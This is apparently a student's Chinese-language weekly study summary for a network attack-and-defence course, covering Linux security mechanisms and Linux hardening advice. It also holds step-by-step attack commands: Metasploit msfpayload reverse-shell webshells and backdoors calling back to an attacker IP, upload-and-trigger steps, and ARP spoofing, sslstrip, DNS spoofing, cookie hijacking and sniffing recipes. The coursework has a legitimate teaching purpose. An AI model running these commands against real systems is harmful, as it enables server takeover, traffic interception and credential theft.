20169205 2016-2017-2 《网络攻防技术》第8周学习总结
教材学习内容总结
课本第八章主要围绕linux操作系统安全攻防技术进行讲述,教材中主要涉及的内容于知识如下:
Linux操作系统之所以会成为目前最受关注的系统之一,主要原因是它的开放源代码与免费。
- Linux具有以下的优势
- 跨平台的硬件支持(Linux操作系统的内核大部分是用C语言编写的,并采用了可移植的UNIX标准应用程序接口)
- 丰富的软件支持
- 多用户多任务(多个用户可以在同一时间以网络联机的方式使用计算机系统)
- 可靠的安全性(利用Linux自带防火墙、入侵检测和安全认证等工具,及时修补系统的漏洞,就能大大提高Linux系统的安全性)
- 良好的稳定性(Linux内核源代码是以标准规范的32位(在64位CPU上是64位)的计算机来做的最佳化设计,可确保其系统的稳定性)
- 完善的网络功能。
- Linux系统结构
- Linux内核
- GUN运行库和工具
- 命令行Shell
- 图形界面X窗口系统及相应桌面环境
- 办公包、编译器、文本编辑器、科学工具到网络服务的应用软件
Linux的文件系统管理机制
Linux内核使用了虚拟文件管理VFS机制,通过设备驱动程序访问特定硬件设备,VFS虚拟文件管理为用户进程提供了一组通用的文件系统调用函数。Ext家族文件系统是Linux内核中缺省采用的文件系统格式,使用索引节点来记录文件信息,作用类似于Windows FAT32文件系统的分配表,包含了文件长度、创建及修改时间、权限、所属关系、磁盘中位置等信息。
Linux的网络机制
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络设备驱动程序负责与硬件设备通信。Linux的系统调用机制
Linux内核通过上述五个方面的机制实现了操作系统基本的硬件管理与系统功能,这些内核模块都运行在CPU的核心态,而应用程序则运行于用户态。Linux提供了系统调用接口,来允许应用程序透过这层接口来访问硬件设备和其他系统资源。Linux的系统调用通过软件中断实现。
- Linux操作系统的核心安全机制
- 身份认证
- 授权与访问控制
- 安全审计
- Linux身份认证机制
Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用Linux操作系统。
- Linux用户
- Root根用户
- 普通用户
- 系统用户
Linux用户组
Linux用户组其实就是具有相同特征的用户账号集合,用于简化整个系统的用户权限管理。Linux用户组信息保存在系统的/etc/group文件中,包括用户组名称、用户组gid及用户组所包含的用户名列表,用户组加密口令字则保存在/etc/gshadow文件中。可以使用id-a命令来查询和显示当前用户所属组,并通过groupadd命令添加用户组,使用usermod-G group_name user name向特定组来添加用户。Linux的本地登陆用户认证机制
Linux系统最基本的用户认证机制即是对用户在控制台登录的认证过程,登录login进程通过Crypt()函数来对用户输入的口令进行验证。Linux的远程登录用户认证机制
目前Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,SSH提供两种方式的用户身份认证机制:第一种方式为基于口令的身份认证;第二种方式为基于非对称密钥的身份认证。基于非对称密钥的身份认证机制能够有效地抵御会话劫持中间人攻击,较基于口令的认证机制更具安全性。- Linux的统一身份认证中间件——PAM
为了能够给不同的应用软件、网络服务提供统一的身份认证机制,Linux系统中提供了PAM作为一种验证用户身份的灵活与标准方法。PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。系统管理员通过PAM配置文件来制定身份认证策略。而PAM服务模块的开发者则利用PAM SPI来编写认证模块。PAM核心库则读取配置文件。PAM支持的四种管理界面如下:- 认证管理
- 账户管理
- 密码管理
- 会话管理
Linux授权与访问控制机制
Linux通过VFS虚拟文件系统来实现对不同类别文件系统格式的支持,并同时通过设备文件类型来统一集成对其他类型系统资源的管理。所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。文件的所有者可以通过chown命令进行修改。文件的访问权限通过所附带的10个标志位来进行设置。每个用户的专属初始目录的默认权限为rwx------。特权常见的是SUID与SGID权限。Linux访问控制机制的不足及改进
只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制。POSIX ACLs for Linux内核补丁软件包能够帮助Linux内核实现ACL权限管理。- Linux的安全审计机制主要通过三个主要的日志子系统来实现
- 连接时间日志
- 进程统计日志
- 错误日志记录
针对Linux系统的攻击也遵循着系统攻击统一的逻辑流程
攻击者首先利用踩点、扫描和查点等技术手段来收集关于目标Linux系统的信息,然后攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,来获取本地Shell访问权,而一旦获得Shell访问权,攻击者就已经在目标Linux系统上获得了立足之地,而转入本地攻击的环节,通常会利用各类提权技术获取Linux系统最高的Root用户权限,之后就可以根据他们的入侵意图而为所欲为了。- 远程网络上入侵Linux系统的主要方法
- 对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击
- 发掘Linux系统某个监听网络服务的安全漏洞并进行利用,从而为攻击者提供本地Shell的访问权
- 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段
- 在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权
- 支持攻击者进行自动化的远程口令字猜测工具
- 工具:Brutus、THC Hydra、Cain and Abel。
- 确保每个用户都有自己的有效账户和口令字
- 对于特权账户应避免直接远程登录
- 口令长度应至少达到8个字符,并包含字母数字和标点符号
- 对多次认证失败进行记录,并在多次无效登陆之后断掉连接
- 不要再自己可登陆的每个系统上都使用相同的口令字
- 不要笔录自己的口令字,更不能将它告诉其他人
- 最好根本不用口令字,而使用基于公钥证书的身份认证机制
- 应对远程口令猜测攻击还拥有很多实践措施,包括
- 在非标准端口上运行容易遭受远程口令猜测攻击的服务
- 使用一些口令猜测攻击检测与防御软件
- 使用Linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范
教材作业实践
Metasploit实验过程
Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshell ,通过生成webshell 然后设置监听器,访问webshell的url,幸运的话可以产生一个session,以便进一步利用。
下面是具体的利用方法。
我们可以通过指令查看msf里的payload 然后记住其位置:使用如下的指令来产生一个webshell,和前边将的msfpayload的用法类似,只不过这里生成的是一个网页脚本文件:
产生webshell
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然后将此webshell上传到服务器(这个步骤要有上传权限。)
然后启动msfconsole
输入
use exploit/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(这里的payload要和前边的msfpayload所使用的一样
set LHOST your_ip
exploit
然后访问webshell的url,这里使用curl 访问curl http://host/webshell.asp ,如果exploit执行成功的话就可以看到msfconsole中有返回meterpreter shell。
但是我使用netbox 搭建asp环境老是执行出错,希望读者在实际验证不出错后再使用。
这里产生的是asp的webshell 也可以产生php webshell,jsp webshell 需要在msfencode时用-t 参数指定脚本类型,我认为php类型的webshell更容易成功。
另外如果获取服务器拥有可以上传并且执行上传文件的权限的话,可以上传一个msfpayload产生的后门,设置监听,然后执行后门,返回一个session然后将session转为meterpreter,这样就可以方便的使用meter各种特性了。给个步骤:
1、
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=4444 X >/root/cracer.exe
2、打开msfconsole (另外开一个terminate终端)
3、设置监听(监听这个词好像很高级,别被它吓到):
use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST=your_ip,set LPORT 4444,执行exploit
4、将test.exe 上传到服务器
5、在服务器上执行test.exe 就可以返回一个shell了。
6、将windows shell 转成 meterpreter shell:由于使用的payload是shell_reverse_tcp,看名字就知道了返回一个shell,可以在监听器看到返回了一个windows shell(windows 命令提示符),而不是一个meterpreter shell,这样就要转换了,方法是 按下Ctrl + z 使 windows shell 后台运行,然后sessions 指令查看 shell 的session是多少
,然后执行 sessions -u number(number为你找到的windows shell session号。这样就产生了一个meterpreter shell,可以利用meterpreter强大的功能。也有可能出错,仔细看出错信息然后复制其一部分google一下。
可能读者些疑问:既然可以在上传执行exe文件,为什么要用msf呢,直接上传一个强大木马不是更方便么。我想说因为msf 中有个强大的Meterpreter。
总结,可以发挥想象,挨个试试payloads有的payloads 不能用,也许有意外的发现。
当LINUX提权反弹不了时.经常遇到这种情况 请出MSF ..
1 .生成WEBSHELL文件;
msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
我的BT4是在/ROOT/ 目录 然后吧dis9.php加 才能运行
把dis9.php传进你的SHELL里 例如 www.dis9.com/dis9.php
2 . 然后MSF设置接口模板和参数
msf > use multi/handler //进入 multi/handler 接口
msf exploit(handler) > set PAYLOAD php/reverse_php //写入模块 不清楚的可以先 info php/reverse_php 看看介绍
msf exploit(handler) > set LHOST 你的IP //生成dis9.php的LHOST的IP 也就是你的IP 要一样1 N$ @8 M: e- H
msf exploit(handler) > set LPORT 8080 //同上
msf exploit(handler) > exploit //执行
3.反弹SHELL
然后访问你的dis9.php
root@bt4:linkswww.dis9.com/dis9.php
这样就会反弹一个SHELL
我们就可以继续FUCK ALL
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
set PAYLOAD java/jsp_shell_reverse_tcp;
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
这里没SET端口 默认的4444
教材学习中的问题和解决过程
如何彻底彻底防御metasploit渗透攻击
- 所有下载的系统和服务器软件必须到官方网站下载同时进行md5sha512验证
- 安装完基本的linux系统.马上进行系统的安全升级.特别是那些重要的通用共享库.一般这个是自动的。
- 定制精简内核.去除所有无用的驱动.功能.调试模式(除非你是内核调试专家).打上Grsecurity,tomoyo等补丁关于内核版本选择我的建议是以rheldebian的发行版为基准考虑.没有什么必要不要选用通用的主线kernel,漏洞很多。如果为了新功能也要选择大版本号与当前的使用的debian/rhel发行版一样.小版本号必须是最高的内核.这样kapi兼容更好。
- 最高安全防止所有安全崩溃.请所有的linux内核服务器软件都有两套系统.比如内核一个是最新的linux3.5.3一个是发行版稳定的2.6.32系列.这样可以给我们以切换维护时间。同时不耽误生产.服务器软件比如nginxapache都要部署.
- 所有服务其软件nginx,mysql等等.必须加入gcc4.7.1-fstack-protect-all选项加强溢出防御.同时如果没有必要请关闭所有的debug调试功能.毕竟程序设计谁也不能保证没有漏洞.除非你不是人!当然内核中也有这个选项.我们一般不开.原因是一般内核的溢出都是本地的多.而且内核被打上那个选项一溢出马上崩溃.本身也是一种不好的行为.还有就是太影响性能.再说内核Grsecurity安全补丁保护.
- 每个服务器软件必须修改源代码verion.h头文件.伪装软件.把nginx变成apache,或者版本号乱写.这样加大了扫描的难度.还有迷惑那些手动扫描的黑客的.影藏软件的所有无用信息.同时开启内核Grsecuritytcpu序列号随机功能.防止tcp序列号攻击扫描判断!(很强吧对付nmap)
- 使用精简定制的freebsd-pf防火墙进行syn代理.同时关闭所有无用的端口.只开放80端口.让扫描风险大大降低.同时加入并发控制.一般扫描都要很多连接.超过了就封.
- 在交换机复制端口.部署IDS系统-snort进行类似7层防火墙一样的应用层匹配扫描.发现扫描溢出攻击.反馈给防火墙进行封锁.淡然如果你们公司很有钱可以使用专业的IDS/IDP或者7层放火墙。
- 设置nginx,apache的安全模块功能.防止cc攻击。。防止多连接扫描。
kali视频内容实战
中间人攻击
Linux下的中间人攻击套路是一样的,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持的方法。
(1)为Kali设置开启端口转发
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward 修改为1
(2)设置ssltrip
为了劫持SSL数据,需要https数据变为http:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
让sslrtip在8081端口监听:
sslstrip -l 8081
(3)ettercap的准备
ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。
配置文件是/etc/ettercap/etter.conf,首先要将ec_uid、ec_gid都变为0
然后找到linux分类下的if you use iptables这一行,将注释(“#”号)去掉,打开转发。
打开图形化界面 ettercap -G
选择嗅探网卡 默认eth0
(4)Ettercap使用
打开ettercap,选择sniff选项-unified sniffing-选择网卡-hosts选项:先scan for hosts,等扫描完了选host list。
(5)Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:
进行arp欺骗:
arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
进行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
-d启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n不执行主机查找;
-r从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;
(6)会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。
开始arp欺骗;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕获数据报:
tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
forret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster
会提示浏览器设置代理为http://127.0.0.1:1234
接着在浏览器中代开hamster:
http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。
(7)图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先依然使用arpspoof启动arp欺骗,然后启动driftnet:
driftent -i
此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。
(8)DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。
在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:
127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
然后启动dnsspoof:
dnsspoof -i wlan0 -f /root/hosts
等受害者访问百度观察效果。
(9)URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
(10)下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
视频学习中的问题和解决过程
python weevely报错
错误信息
from core.sessions import cfgfilepath, historyfilepath
File "sessions.py", line 4, in
import yaml
mportError: No module named yaml
解决
只需要pip install pyyaml一下就可以了
上周错题总结
相对路径,也就是相对于你当前的目录的路径,相对路径是以当前目录 ()为起点,以你所要到的目录为终点。
A .
B ..
C /
D ~
正确答案: A
. 当前目录,..父目录, / 根目录, ~ home目录
注册表(Registry)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息. 可以用()工具监控系统的注册表读写。
A .regedit
B .RegMon
C .ASEP
D .RegList
正确答案: B
学习进度条
时间 | 学习时间目标 | 实际进行时间 |
---|---|---|
第一周 | 8 | 8 |
第二周 | 10 | 8.5 |
第三周 | 12 | 10.5 |
第四周 | 12 | 12 |
第五周 | 12 | 11 |
第六周 | 12 | 13 |
第七周 | 12 | 12 |
第八周 | 12 | 12 |
学习目标
通过学习网络攻防相关知识,掌握安全防护技能,提升自己的综合能力和素质。